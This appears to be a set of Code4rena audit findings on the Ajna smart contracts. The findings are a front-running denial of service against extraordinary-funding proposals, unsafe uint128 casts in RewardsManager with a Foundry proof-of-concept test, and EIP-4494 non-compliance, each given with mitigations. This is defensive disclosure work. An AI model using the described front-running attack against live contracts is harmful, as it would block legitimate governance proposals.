https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-grants/src/grants/base/ExtraordinaryFunding.sol#L85 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-grants/src/grants/base/ExtraordinaryFunding.sol#L92 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-grants/src/grants/base/ExtraordinaryFunding.sol#L100

Vulnerability details

Impact

An attacker can prevent the creation of proposals in ExtraordinaryFunding.sol#proposeExtraordinary by front-running the proposal, which will give him the same hash as the correct user desired, and setting endBlock_ to the past, which will invalidate the proposal.

Proof of Concept

This is possible because:

1. The hash of the proposal has no identifier of who creates it

File: ajna-grants\src\grants\base\ExtraordinaryFunding.sol

85:     function proposeExtraordinary(
86:         uint256 endBlock_,
87:         address[] memory targets_,
88:         uint256[] memory values_,
89:         bytes[] memory calldatas_,
90:         string memory description_) external override returns (uint256 proposalId_) {
91: 
92:         proposalId_ = _hashProposal(targets_, values_, calldatas_, keccak256(abi.encode(DESCRIPTION_PREFIX_HASH_EXTRAORDINARY, keccak256(bytes(description_))))); // Miss information about creator 

2. endBlock_ it is possible to put it in the past to make it invalid:

99:         // check proposal length is within limits of 1 month maximum
100:         if (block.number + MAX_EFM_PROPOSAL_LENGTH < endBlock_) revert InvalidProposal();
101: 
102:         uint128 totalTokensRequested = _validateCallDatas(targets_, values_, calldatas_);
103: 

3. Accordingly, we have the following situation:
   1. The correct user wants to create a proposal
   2. The attacker front-running this transaction and sends the same proposal, only setting endBlock_ to the past
   3. The transaction of the correct user fails because it is not possible to create two proposal with the same hash
   4. A proposal created by an attacker, which is already known, will be invalid because of the past endBlock_

File: ajna-grants\src\grants\base\ExtraordinaryFunding.sol

139:         if (proposal.startBlock > block.number || proposal.endBlock < block.number || proposal.executed) {
140:             revert ExtraordinaryFundingProposalInactive();
141:         }

The attacker for small funds (transaction fee) prohibits creating new proposals

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

• Add creator address to calculate proposal hash: _hashProposal

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/RewardsManager.sol#L179 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/RewardsManager.sol#L180 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/RewardsManager.sol#L236 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/RewardsManager.sol#L241

Vulnerability details

Impact

Unsafe casting from uint256 to uint128 in RewardsManager, instances:

File: 2023-05-ajna\ajna-core\src\RewardsManager.sol

178:             BucketState storage toBucket = stakeInfo.snapshot[toIndex];
+179:             toBucket.lpsAtStakeTime  = uint128(positionManager.getLP(tokenId_, toIndex));
+180:             toBucket.rateAtStakeTime = uint128(IPool(ajnaPool).bucketExchangeRate(toIndex));
181: 

235:             // record the number of lps in bucket at the time of staking
+236:             bucketState.lpsAtStakeTime = uint128(positionManager.getLP(
237:                 tokenId_,
238:                 bucketId
239:             ));
240:             // record the bucket exchange rate at the time of staking
+241:             bucketState.rateAtStakeTime = uint128(IPool(ajnaPool).bucketExchangeRate(bucketId));

can cause an overflow which, in turn, can lead to unforeseen consequences such as:

• The inability to calculate new rewards, as nextExchangeRate > exchangeRate_ will always be true after the overflow.
• Reduced rewards because toBucket.lpsAtStakeTime will be reduced.
• Reduced rewards because toBucket.rateAtStakeTime will be reduced.
• In case bucketState.rateAtStakeTime overflows first but does not go beyond the limits in the new epoch, it will result in increased rewards being accrued.

Proof of Concept

In RewardsManager.stake() and RewardsManager.moveStakedLiquidity(), the functions downcast uint256 to uint128 without checking whether it is bigger than uint128 or not.

In stake() & moveStakedLiquidity() when getLP >= type(uint128).max:

File: 2023-05-ajna\ajna-core\src\RewardsManager.sol

236:             bucketState.lpsAtStakeTime = uint128(positionManager.getLP(
237:                 tokenId_,
238:                 bucketId
239:             ));

Let's assume, that the staker had LP in the bucket equal type(uint128).max, and his stake balance LP was recorded as 0. As a result, the reward for the epoch at the moment of the stake will be accrued as

File: 2023-05-ajna\ajna-core\src\RewardsManager.sol

504:                 interestEarned_ = Maths.wmul(nextExchangeRate - exchangeRate_, bucketLP_);

2023-05-ajna\ajna-core\src\libraries\internal\Maths.sol
11:     uint256 internal constant WAD = 1e18;
12: 
13:     function wmul(uint256 x, uint256 y) internal pure returns (uint256) {
14:         return (x * y + WAD / 2) / WAD;
15:     }

And will be equal to (0 + 0.5e18)/1e18=0, resulting in the user losing the reward.

In stake() & moveStakedLiquidity() when bucketExchangeRate >= type(uint128).max: If an overflow occurs and bucketExchangeRate is reset to zero:

File: 2023-05-ajna\ajna-core\src\RewardsManager.sol

180:             toBucket.rateAtStakeTime = uint128(IPool(ajnaPool).bucketExchangeRate(toIndex));

241:             bucketState.rateAtStakeTime = uint128(IPool(ajnaPool).bucketExchangeRate(bucketId));

Results in the reward being skipped for one 1 epoch, because:

File: ajna-core\src\RewardsManager.sol

497:             uint256 nextExchangeRate = bucketExchangeRates[pool_][bucketIndex_][nextEventEpoch_];
498: 
499:             // calculate interest earned only if next exchange rate is higher than current exchange rate
500:             if (nextExchangeRate > exchangeRate_) {
501: 
502:                 // calculate the equivalent amount of quote tokens given the stakes lp balance,
503:                 // and the exchange rate at the next and current burn events
504:                 interestEarned_ = Maths.wmul(nextExchangeRate - exchangeRate_, bucketLP_);
505:             }

The current rate will be equal to 0 or greater than 0, but less than the previous rate.

Also, if the next epoch has a rate less than type(uint128).max, this will result in interestEarned_ = Maths.wmul(nextExchangeRate - exchangeRate_, bucketLP_);, where nextExchangeRate - exchangeRate_ will be in the range of 2^128 - 1 - {0, N^18}. This can lead to an overflow error when bucketLP_ is large (1e45), because (2^128-1) * 1e38, which in turn can cause the transaction to fail.

File: ajna-core\src\libraries\internal\Maths.sol

13:     function wmul(uint256 x, uint256 y) internal pure returns (uint256) {
14:         return (x * y + WAD / 2) / WAD;
15:     }

Yes, in the case of LP, the number of tokens approaching 2^128 is highly unlikely and does not pose a direct threat to the user, except for not receiving the reward. But as for the bucketExchangeRate, since it is calculated according to different formulas, it cannot be ruled out that such a case is more likely

Tests for LP, which simply shows that overflow occurs:

diff --git a/ajna-core/tests/forge/unit/Rewards/RewardsManager.t.sol b/ajna-core/tests/forge/unit/Rewards/RewardsManager.t.sol
index 4100e9f..58c3d8c 100644
--- a/ajna-core/tests/forge/unit/Rewards/RewardsManager.t.sol
+++ b/ajna-core/tests/forge/unit/Rewards/RewardsManager.t.sol
@@ -8,7 +8,7 @@ import 'src/interfaces/rewards/IRewardsManager.sol';

 import { ERC20Pool }           from 'src/ERC20Pool.sol';
 import { RewardsHelperContract }   from './RewardsDSTestPlus.sol';
-
+import '@std/console2.sol';
 contract RewardsManagerTest is RewardsHelperContract {

     address internal _borrower;
@@ -127,6 +127,33 @@ contract RewardsManagerTest is RewardsHelperContract {
         });
     }

+    function test_Issue() external {
+        // configure NFT position one
+        uint256[] memory depositIndexes = new uint256[](1);
+        depositIndexes[0] = 9;
+        uint256 mintAmount = uint256(type(uint128).max) + 1;
+        uint256 tokenIdOne = _mintAndMemorializePositionNFT({
+            indexes:    depositIndexes,
+            minter:     _minterOne,
+            mintAmount: mintAmount,
+            pool:       address(_pool)
+        });
+        uint256 lpBalance;
+        (lpBalance, ) =_pool.lenderInfo(depositIndexes[0], address(_positionManager));
+        console2.log("_pool.lenderInfo for _positionManager before stake", lpBalance);
+
+        // minterOne deposits their NFT into the rewards contract
+        _stakeToken({
+            pool:    address(_pool),
+            owner:   _minterOne,
+            tokenId: tokenIdOne
+        });
+        uint256 lpsAtStakeTime;
+        uint256 rateAtStakeTime;
+        (lpsAtStakeTime, rateAtStakeTime) = _rewardsManager.getBucketStateStakeInfo(tokenIdOne, depositIndexes[0]);
+        console2.log("getBucketStateStakeInfo.lpsAtStakeTime after stake", lpsAtStakeTime);
+    }
+    

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

• use OpenZeppelin’s SafeCast library when casting from uint256 to uint128.
• don't make casting from uint256 to uint128

Assessed type

Under/Overflow

Lines of code

https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/PositionManager.sol#L42 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/base/PermitERC721.sol#L77 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/base/PermitERC721.sol#L13 https://github.com/code-423n4/2023-05-ajna/blob/276942bc2f97488d07b887c8edceaaab7a5c3964/ajna-core/src/PositionManager.sol#L57

Vulnerability details

Impact

The contract PositionManager.sol inherits from PermitERC721.sol, but both contracts incorrectly implement the EIP-4494 standard, which is an important part of the contract. This leads to the following issues:

• PositionManager & PermitERC721 are not EIP-4494 compliant
• Automatic tools will not be able to determine that this contract has a permit for ERC721
• Third-party contracts will not be able to determine that this is EIP-4494
• Inability to correctly track which nonces are currently relevant, leading to the creation of invalid signatures/signatures for the future
• No support for compact signatures

Proof of Concept

According to the specifications of the standard EIP-4494, the following violations were found:

1. EIP-4494 requires the implementation of IERC165 and the indication of support for the interface 0x5604e225, which is not implemented

2. EIP-4494 requires the presence of the function function nonces(uint256 tokenId) external view returns(uint256); which is missing

3. EIP-4494 requires the function function permit(address spender, uint256 tokenId, uint256 deadline, bytes memory sig) external;, which is incorrectly declared as

File: 2023-05-ajna\ajna-core\src\base\PermitERC721.sol

77:     function permit(
78:         address spender_, uint256 tokenId_, uint256 deadline_, uint8 v_, bytes32 r_, bytes32 s_
79:     ) external {

Tools Used

• Manual review
• Foundry
• https://eips.ethereum.org/EIPS/eip-4494

Recommended Mitigation Steps

• Correct the identified non-compliance issues so that the contracts meet the standard
• Or remove references to the standard and provide a reference to the Uniswap V3 implementation

Assessed type

Other

File: ajna-core/src/base/PermitERC721.sol

29:    /** @dev Gets the current nonce for a token ID and then increments it, returning the original value */
30:    function _getAndIncrementNonce(uint256 tokenId_) internal virtual returns (uint256);